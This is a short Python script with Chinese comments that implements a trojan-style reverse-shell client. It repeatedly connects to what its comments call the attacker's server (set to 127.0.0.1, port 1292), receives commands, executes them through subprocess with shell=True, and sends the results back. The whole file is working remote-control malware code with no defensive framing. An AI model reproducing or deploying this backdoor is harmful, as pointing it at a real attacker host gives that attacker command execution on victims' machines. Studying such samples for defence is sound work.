# _*_ coding : utf-8 _*_
# @Time : 2022/9/18 19:55
# @Author : Moonquake
# @File : client
# @Project : base.py
import socket
import shlex
import subprocess
def cmd(com: str):
# shelex：传入的命令
# shell = True 使用cmd
# stdout 标准输出
# stderr 错误输出

    return subprocess.run(shlex.split(com),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
host = '127.0.0.1'
port = 1292
while True:
    s = socket.socket()
    s.connect((host, port))
    print("已经连接到攻击者服务器，等待指令")
#   horse传来的指令
    command = s.recv(1024).decode('utf-8')
    if not command:
        continue
    result = cmd(command)
    # 如果报错
    if result.stderr.decode('gbk'):
        s.send("--------命令执行失败--------".encode('utf-8'))
        continue
    s.send("--------命令执行成功--------\n".encode('gbk') + result.stdout)
    s.close()

